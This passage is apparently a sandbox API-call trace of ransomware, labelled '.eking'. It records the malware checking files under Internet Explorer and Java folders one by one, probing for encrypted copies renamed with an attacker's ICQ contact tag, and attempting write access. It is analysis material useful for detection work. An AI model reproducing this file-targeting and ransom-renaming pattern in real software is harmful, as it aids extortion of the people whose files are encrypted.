(lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.335] SetEvent (hEvent=0x2b8) returned 1 [0233.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0233.338] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=5430) returned 1 [0233.338] CloseHandle (hObject=0x374) returned 1 [0233.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico")) returned 0x20 [0233.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico")) returned 0x20 [0233.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.339] SetEvent (hEvent=0x2b8) returned 1 [0233.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\mxslipstream.exe" (normalized: "c:\\program files\\internet explorer\\mxslipstream.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0233.340] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=80384) returned 1 [0233.340] CloseHandle (hObject=0x374) returned 1 [0233.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\mxslipstream.exe" (normalized: "c:\\program files\\internet explorer\\mxslipstream.exe")) returned 0x20 [0233.340] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\mxslipstream.exe" (normalized: "c:\\program files\\internet explorer\\mxslipstream.exe")) returned 0x20 [0233.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\mxslipstream.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\mxslipstream.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\mxslipstream.exe" (normalized: "c:\\program files\\internet explorer\\mxslipstream.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.341] SetEvent (hEvent=0x2b8) returned 1 [0233.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0233.342] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=452) returned 1 [0233.343] CloseHandle (hObject=0x374) returned 1 [0233.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 0x20 [0233.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 0x20 [0233.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.343] SetEvent (hEvent=0x2b8) returned 1 [0233.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0233.345] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=49688) returned 1 [0233.345] CloseHandle (hObject=0x374) returned 1 [0233.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll")) returned 0x20 [0233.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll")) returned 0x20 [0233.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.346] SetEvent (hEvent=0x2b8) returned 1 [0233.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.700] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1516608) returned 1 [0233.700] CloseHandle (hObject=0x364) returned 1 [0233.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 0x20 [0233.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 0x20 [0233.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.701] SetEvent (hEvent=0x2b8) returned 1 [0233.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.701] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=265792) returned 1 [0233.701] CloseHandle (hObject=0x364) returned 1 [0233.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 0x20 [0233.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 0x20 [0233.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.703] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=455744) returned 1 [0233.703] CloseHandle (hObject=0x364) returned 1 [0233.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 0x20 [0233.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 0x20 [0233.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.705] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=619584) returned 1 [0233.706] CloseHandle (hObject=0x364) returned 1 [0233.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 0x20 [0233.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 0x20 [0233.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.706] SetEvent (hEvent=0x2b8) returned 1 [0233.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.707] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=158272) returned 1 [0233.707] CloseHandle (hObject=0x364) returned 1 [0233.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 0x20 [0233.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 0x20 [0233.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.708] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=123456) returned 1 [0233.708] CloseHandle (hObject=0x364) returned 1 [0233.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 0x20 [0233.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 0x20 [0233.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.711] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=19008) returned 1 [0233.711] CloseHandle (hObject=0x364) returned 1 [0233.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 0x20 [0233.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 0x20 [0233.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.712] SetEvent (hEvent=0x2b8) returned 1 [0233.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.713] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=63552) returned 1 [0233.713] CloseHandle (hObject=0x364) returned 1 [0233.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 0x20 [0233.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 0x20 [0233.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.714] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=21056) returned 1 [0233.714] CloseHandle (hObject=0x364) returned 1 [0233.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 0x20 [0233.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 0x20 [0233.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.715] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=34368) returned 1 [0233.715] CloseHandle (hObject=0x364) returned 1 [0233.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 0x20 [0233.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 0x20 [0233.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.720] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=15936) returned 1 [0233.720] CloseHandle (hObject=0x364) returned 1 [0233.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 0x20 [0233.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 0x20 [0233.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.721] SetEvent (hEvent=0x2b8) returned 1 [0233.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.721] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=159808) returned 1 [0233.721] CloseHandle (hObject=0x364) returned 1 [0233.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 0x20 [0233.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 0x20 [0233.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0233.723] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=206912) returned 1 [0233.723] CloseHandle (hObject=0x364) returned 1 [0233.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 0x20 [0233.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 0x20 [0233.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) 